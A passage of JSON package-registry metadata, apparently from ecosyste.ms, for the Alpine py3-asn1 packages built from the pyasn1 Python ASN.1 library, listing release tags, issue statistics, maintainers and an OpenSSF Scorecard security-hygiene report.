asn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.890Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-asn1?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.23","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"Patrycja Rosa","email":"alpine@ptrcnull.me","url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","packages_count":487,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","role":null,"created_at":"2026-03-05T06:55:42.997Z","updated_at":"2026-03-05T06:55:42.997Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-v3.23","url":"https://pkgs.alpinelinux.org/packages?branch=v3.23","ecosystem":"alpine","default":false,"packages_count":27576,"maintainers_count":428,"namespaces_count":2,"keywords_count":189,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1013},"icon_url":"https://github.com/alpinelinux.png","created_at":"2026-01-24T14:35:50.739Z","updated_at":"2026-08-20T05:04:43.686Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/namespaces"}},{"id":10343692,"name":"py3-asn1-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-asn1","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_number":"0.6.0-r1","last_synced_at":"2026-08-11T12:24:46.335Z","created_at":"2024-06-11T09:29:16.989Z","updated_at":"2026-08-15T09:21:24.892Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.20/community/x86_64/py3-asn1-pyc","install_command":"apk add py3-asn1-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/